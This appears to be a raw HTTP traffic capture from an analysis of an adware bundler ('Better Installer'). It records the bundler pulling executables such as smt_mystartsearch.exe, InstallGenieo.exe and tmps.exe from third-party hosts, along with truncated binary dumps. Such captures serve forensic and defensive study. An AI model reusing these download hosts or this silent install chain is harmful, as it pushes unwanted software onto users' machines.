Accept-Ranges: bytes

Age: 355

X-Cache: Hit from cloudfront

Via: 1.1 e3bc94b310a28d69ca9fc60827fe9c68.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PKjoZ4qqJQ4xbjczHtqq3RnDtcRz444LfB4Ybu_yc_mYWU3bqAyslA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:53:10 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 04 Jan 2015 05:03:10 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 168

X-Cache: Hit from cloudfront

Via: 1.1 e3bc94b310a28d69ca9fc60827fe9c68.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iO7P5Z2yFCuacQjPZUjx3irR1Kg2QtSld4w43djxP_-ZMCIFpP5NHQ==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 231240

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-308319/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E.........e..E.....3..M.d......Y_^[..].......U...E..MZ
..f9.t.3.]..H<..3..9PE..u......f9Q....].V3...`7B.....A...`7B......(
r.^.U...E...bB.]..5.bB.....A..U...E...bB...bB...bB...bB.].j$h..B......
3..].3..}..u.....Pt...j.Y .t" .t. .t^ .uH........}...u.....d....E..bB.
..bB..^.w\V.S...YY....E....V.....t6...t#Ht.............m......E..bB...
bB....E..bB...bB....E..bB...bB.3.C.].P....A..E............u.j.....<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

HEAD / HTTP/1.1

Host: VVV.bbc.com

Connection: close

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1)


HTTP/1.1 200 OK

Server: Apache

X-Cache-Action: MISS

Vary: X-CDN

Cache-Control: private, max-age=60

X-Cache-Age: 0

Content-Type: text/html

Date: Thu, 08 Jan 2015 04:57:15 GMT

Expires: Thu, 08 Jan 2015 04:58:14 GMT

Content-Language: en

Etag: "2e7846b0a98341c1aa653d0512341e27"

X-LB-NoCache: true

X-PAL-Host: pal114.telhc.bbc.co.uk:80

Connection: close

Set-Cookie: BBC-UID=45b47a7ec09e823a71791c6821728361e76283c243fccd79b2cb1fdbfc61e1f00Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1); expires=Mon, 07-Jan-19 04:57:15 GMT; path=/; domain=.bbc.com

Content-Length: 121340

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AbR8h8nSjy-sSohGr4Jd4pkiGBdJ0DNSkm7_4nLma8cM8A9ckFd_2Q==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:24 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^]................

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Jaew4fY6z4_W6na6GiVToE9EGioybzIXP8TQDjr1I9tN0LWWwOnSww==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

Range: bytes=24888-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065b6620f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=24888-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 174216

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 24888-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d06626640f7b-FRA
..;..............4.4.N.......k.....YXVj....k......i..`.Wj.F.....u.w.&g
t;^../....j....j..l....?.........................$*.>].............
..........o.]...['....k|I.`&..F.z.....o.]..['..k..j..j.I.@............
...............?.....b..Z.............6.j..b.I..#..F.......?..........
................J.........!....'^.,..Z..Z..R.,.H...._.....[.....#.....
3...&J.j.,........j..D...>'............P...........LI..............
./......o.]........C.;.......k....j4.Z.....j......>'.3.............
..S....._....[..?k.u.MMO..?......._....L...F........../......o.]..[...
.......J...._s,.&...........O../.........o.].. ..._......._.........&.
_...k............._...[...>.;............. ...&b...a...,...'.......
................,........._...../......o.]..c.'.k..[. .Z.u..Z..R..{.'.
O.E...O..?..F..k[..[..... ...4..Z..........u.M..#...O..$..............
.. ..._..'....9u... .....#...O..$................ ...,.NN_..'...u... .
...Z.Ou...#...ON.........._...........t...u...;...NO.Z.O../......o.]..
 ....._...........'...........3...&.;.....>....._..........u...;...
Ou..Z.O../....Z.....o.].. ....._...........;............3...X........k
....j,...,.y$.......#.....'.............. .....'....._......k....jJ..#
....G%..Fy$.#.............._....k;u.GO..#....0%..Fy$.#.........X..3...
..'..... ...$Z........<../........o.].X.[. ...o.]..[.'......_......
...._........../......o.]..[.....J.....[...,...'...............#...&j.
......,.4...#.....W....._...$Z.l[..]_..<........_.....#...j...3....
..\^..<.......#...\^.._.........m.........W...4.u...7...OL..W..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=510531-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 510531-583463/583464

Content-Length: 72933

Connection: keep-alive
..d..gL$.4pU.t..$rw3[..q...(N.`...UD{......qS.P%..pD#5..&.J.....S..[..
%.......z.....h.....m.. ?....U....../.......ezf..*...........=...bN.#d
....B.qt.`..A.m14...B._D.8y..]-p..>9....u..5.....m....*.k...... ...
....Q...e...c....}.;!..R..&..}.Y...TVi._.<\...M....X...o.8Q._)..l..
C..F.....*.......E...Z.r.2..r.n....... .01.....].......8.&.........g..
.JF.....E..*A....?..k.E4..{:........$..].!Yd...d...XP)N....u...]d...rE
N.......c.?.p....W.w....EA..o..!]|...8.h_X.9.X.4........ZD..M...Vn....
...n...3 . qz..m...o&.M.....U...BL$.q..d.<8E..Vhl..j.L.u..z..k<.
p\{...v^...^..Q.t&.c....Jv.9}.M..h......[3..Lg...C..\.\.X;..Y...._..=.
.......2i... .TV...:....y.....O3...~.~....t:..})...(J..{..... l..?..u.
^.\U..B....T...4$kx.O.RM....*<.P..]x.c..q..5O|.e:q!..Od..'......E.U
.Q..T-.|1i.....H?B7.S..L. ..b.`EI.8.&.)...$...7..t>X...7.. .......%
.*.nE....`....d.7...?.!.Z.O...-t... .x...$..l...E......R.AG.....]...fd
T.....4?.d.. 6/.......}...<.s..!...uD.c. ...=...Y.....K.......#.7..
.....*4..4.. =.-..D.......N....u..K.|hK.0..L.......g8..!....Z.j.`..X..
.d.|.ow.........7.1..J#..*.xj.#.H.....K.....xm..3._I$.N..5V..>v.<
; ...3|..."l.%E.q..S....:....t.v..l.Y\J.t].E..Y....0G...g\.U..l.l.....
f4....)..E.'..J../...].v..._%. .&......LA~.U....iY.L...T...e.^...[..!.
...nq.s.:.Ct.A.5d./...-4..L.B`0.fKz't].......".Y9._.1.".*..P..l&..y...
..;..4a.........f.S.J.;.l.Gn......x......^...'.....m....W.m/.....-..0.
....Z4Q..`.Y...4......n.VR.*/.. .........|.......F.........F..2.}..-..
-..N7.9k........@.........`.}.k.h..{....=j...h.O.1....._.&..L...W.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 8a256bddd45845f932a0a374e95fa057.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EQ2vQJAZVW-XodzoLTlVDR6McFuykc80v83PFipEIx3K7i2MW1ue7A==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145866-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 145866-583463/583464

Content-Length: 437598

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a........
..".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i
 ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`.
.R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M....
.W}[email protected].... zi=-
...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W...
.ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.
>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: QIi0QWnQnyBQoPozMgBdC/UDj0ALIR0ozUjNNsU1xXSvxqOa3 UVkDqpc66xZbyKq6avoDF38IY=

x-amz-request-id: 2E85CD0DFAE14B0A

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-988407/988408

Content-Type: application/octet-stream

Content-Length: 741306

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 638edf9523a0468376605c9ac0dc1ab0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1IW9BRbEHFf4Z3B5EGAuWUC2YjF1oELiVq_aVAkYwZSUZnjgXi5qDQ==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V...
...exQc.b..p.w..U.s, [email protected].|B|.u.*.....e.....^v.wG..c>&.....^8.I
